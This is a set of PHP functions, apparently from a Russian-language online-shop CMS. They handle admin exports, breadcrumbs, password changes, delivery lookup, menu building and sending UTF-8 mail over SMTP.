function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
static function breadcrumbs() { $breadcrumbs = Storage::get(md5('breadcrumbs' . URL::getUrl())); if ($breadcrumbs == null) { $sections = URL::getSections(); array_splice($sections, 0, 1); if (SHORT_LINK == 1 && MG::get('controller') == 'controllers_product') { $product_url = URL::getLastSection(); $res = DB::query('SELECT CONCAT(c.`parent_url`, c.`url`) as fullurl FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c ON p.cat_id = c.id WHERE p.url = ' . DB::quote($product_url)); $cat = DB::fetchArray($res); $sections = explode('/', $cat['fullurl']); $sections[] = $product_url; } $breadcrumbs = '<a href="' . SITE . '/catalog">Каталог</a>'; $max = count($sections); $i = 0; $par = ''; foreach ($sections as $section) { $url = $section; $cat = 'title'; if ($url != 'catalog') { $data = self::checkURLname('*', 'category', $section, 'url', $par); $url = $data[0]['parent_url'] . $section; $res = $data[0]['title']; $par = $data[0]['id']; if (!$data[0]['title']) { $cat = 'name'; $n = ''; $result = self::checkURLname('*', 'product', $section, 'url', $n); $url = $data[0]['parent_url'] . $sections[1] . '/' . $sections[2]; $categoryRes = self::checkURLname('url, parent_url', 'category', $result[0]['cat_id'], 'id'); $url = $categoryRes[0]['parent_url'] . $categoryRes[0]['url'] . '/' . $result[0]['url']; $res = $result[0]['title']; } } $i++; if ($max == $i) { $breadcrumbs .= ' » <span class="last-crumb">' . $res . '</span>'; } else { $breadcrumbs .= ' » <a href="' . SITE . '/' . $url . '">' . $res . '</a>'; } } $breadcrumbs = "<div class='bread-crumbs'>" . $breadcrumbs . "</div>"; //сохраняем объект в кэш Storage::save(md5('breadcrumbs' . URL::getUrl()), $breadcrumbs); } return $breadcrumbs; }
/** * Функция смены пароля пользователя * * После проверки корректности введеных данных производит хэширование и внесения в БД пароля пользователя * * @param string $newPass - новый пароль пользователя * @param int $id - id пользователя * @param bool $forgotPass - флаг для функции восстановления пароля, когда не происходит изменения данных пользователя находящихся в системе * @return string - сообщение о результате операции */ public function changePass($newPass, $id, $forgotPass = false) { $userData = array('pass' => $newPass); $registration = new Models_Registration(); if ($err = $registration->validDataForm($userData, 'pass')) { $msg = $err; } else { $userData['pass'] = crypt($userData['pass']); USER::update($id, $userData, $forgotPass); $msg = "Пароль изменен"; } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $msg, $args); }
static function pageSettingsPlugin() { $lang = self::$lang; $pluginName = self::$pluginName; $option = MG::getSetting('call-backOption'); $option = stripslashes($option); $options = unserialize($option); $res = self::getEntity($options['countRows']); $config = self::getConfigPlugin(); $entity = $res['entity']; $pagination = $res['pagination']; self::prepareSettingsPage(); include 'page-settings.php'; }
function getSaleGoods() { $model = new Models_Catalog(); $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $item["recommend"] = 0; $item["new"] = 0; $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } } return $saleProducts['catalogItems']; }
/** * Получает параметры способа доставки по его id. * * @param string $url запрашиваемой категории. * @return array массив с данными о категории. * */ public function getDeliveryById($id) { $result = array(); $res = DB::query(' SELECT * FROM `' . PREFIX . 'delivery` WHERE id = ' . DB::quote($id)); if (!empty($res)) { if ($deliv = DB::fetchAssoc($res)) { $result = $deliv; } } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
function __construct($x, $kop = true, $currencyString = ' рублей', $kopShort = 'коп.') { $this->kopShort = $kopShort; $this->currencyString = $currencyString; $propertyOrder = MG::getOption('propertyOrder'); $propertyOrder = stripslashes($propertyOrder); $propertyOrder = unserialize($propertyOrder); $rankUser = explode(",", $propertyOrder["currency"]); if (count($rankUser) == 3) { $this->rank[1] = $rankUser; } $this->num = $this->prepare($x); $this->test(); $this->rub($kop); }
/** * Возвращает массив пунктов меню. * @return type */ public static function getArrayMenu() { $arrPages = MG::get('pages')->getPageInMenu(); $menuItem = array(); foreach ($arrPages as $item) { if ($item['url'] == "index" || $item['url'] == "index.html") { $item['url'] = ''; } if (strpos($item['url'], 'http://') === false) { $url = SITE . '/' . $item['url']; } else { $url = $item['url']; } $menuItem[] = array('title' => $item['title'], 'id' => $item['id'], 'url' => $url); } return $menuItem; }
/** * Функция для отправки писем в UTF-8 * @param $dataMail - массив с данными * <code> * array( * nameFrom => имя отправителя * emailFrom => email отправителя * nameTo => имя получателя * emailTo => email получателя * dataCharset => кодировка переданных данных * sendCharset => кодировка письма * subject => тема письма * body => текст письма * html => письмо в виде html или обычного текста * addheaders => дополнительные заголовки * contentType => если нужен особенный contentType * ); * </code> * @return bool */ public static function sendMimeMail($dataMail) { $m = new Mail(); // можно сразу указать кодировку, можно ничего не указывать ($m= new Mail;) $m->From(htmlspecialchars_decode($dataMail['nameFrom']) . "||" . $dataMail['emailFrom']); // от кого Можно использовать имя, отделяется точкой с запятой if (MG::getSetting('smtp') === "true") { $m->smtp_on(MG::getSetting('smtpHost'), MG::getSetting('smtpLogin'), MG::getSetting('smtpPass'), MG::getSetting('smtpPort'), 10); // используя эу команду отправка пойдет через smtp $m->From($dataMail['nameFrom'] . "||" . MG::getSetting('smtpLogin')); } $m->ReplyTo(htmlspecialchars_decode(self::$replyTo)); // куда ответить, тоже можно указать имя $m->To($dataMail['nameTo'] . "||" . $dataMail['emailTo']); // кому, в этом поле так же разрешено указывать имя $dataMail['subject'] = htmlspecialchars_decode($dataMail['subject']); $m->Subject($dataMail['subject']); if (!empty($dataMail['html'])) { $m->Body($dataMail['body'], "html"); } else { $m->Body($dataMail['body']); } $m->Priority(4); // установка приоритета //$m->Attach( "/toto.gif", "", "image/gif" ) ; // прикрепленный файл типа image/gif. типа файла указывать не обязательно $m->log_on(true); // включаем лог, чтобы посмотреть служебную информацию $m->Send(); // отправка self::$replyTo = null; // echo "Письмо отправлено, вот исходный текст письма:<br><pre>", $m->Get(), "</pre>"; // exit(); }